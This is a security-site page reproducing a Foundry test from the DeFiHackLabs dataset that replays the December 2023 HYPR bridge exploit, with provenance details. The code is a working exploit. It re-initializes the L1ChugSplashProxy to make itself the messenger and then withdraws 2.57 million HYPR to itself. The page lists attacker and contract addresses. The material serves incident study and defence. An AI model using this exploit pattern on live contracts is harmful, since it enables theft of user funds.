Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/HYPR_exp.sol

Public reproduction file for dataset entry HYPR.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/HYPR_exp.sol64 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~200K USD$
8// Attacker : https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519
9// Attack Contract : https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77
10// Vulnerable Contract : https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65
13// @Analysis
14// https://twitter.com/BlockSecTeam/status/1735197818883588574
15// https://twitter.com/MevRefund/status/1734791082376941810
17interface IL1ChugSplashProxy {
18 function initialize(
19 address _messenger
20 ) external;
22 function finalizeERC20Withdrawal(
23 address _l1Token,
24 address _l2Token,
25 address _from,
26 address _to,
27 uint256 _amount,
28 bytes memory _extraData
29 ) external;
32contract ContractTest is Test {
33 IERC20 private constant HYPR = IERC20(0x31aDdA225642a8f4D7e90d4152BE6661ab22a5a2);
34 IL1ChugSplashProxy private constant ChugSplash = IL1ChugSplashProxy(0x40C31236B228935b0329eFF066B1AD96e319595e);
35 address private constant messageSender = 0x4200000000000000000000000000000000000010;
36 address private constant l2Token = 0xD7a421A6786cF4951a8FaE10385680222D63f89a;
38 function setUp() public {
39 vm.createSelectFork("mainnet", 18_774_584);
40 vm.label(address(HYPR), "HYPR");
41 vm.label(address(ChugSplash), "ChugSplash");
42 vm.label(messageSender, "messageSender");
43 vm.label(l2Token, "l2Token");
44 }
46 function testExploit() public {
47 emit log_named_decimal_uint(
48 "Exploiter HYPR balance before attack", HYPR.balanceOf(address(this)), HYPR.decimals()
49 );
51 ChugSplash.initialize(address(this));
52 ChugSplash.finalizeERC20Withdrawal(
53 address(HYPR), l2Token, address(ChugSplash), address(this), 2_570_000 * 1e18, bytes("")
54 );
56 emit log_named_decimal_uint(
57 "Exploiter HYPR balance after attack", HYPR.balanceOf(address(this)), HYPR.decimals()
58 );
59 }
61 function xDomainMessageSender() external view returns (address) {
62 return messageSender;
63 }

Analysis

Dataset entry

Public Foundry test for “HYPR” (2023-12-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3ea6ba6d3415e4dfd380516c799aafa94e420519

  • Attack Contract

    0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77

  • Vulnerable Contract

    0x40c31236b228935b0329eff066b1ad96e319595e

  • Attack Tx

    0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65

File record

Name
HYPR
Path
src/test/2023-12/HYPR_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c135a1c49b0bc6ac9ce202809b2e790c4a87bfb7
Language
Solidity
Size
65 lines
Date
2023-12-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/HYPR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c135a1c49b0bc6ac9ce202809b2e790c4a87bfb7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.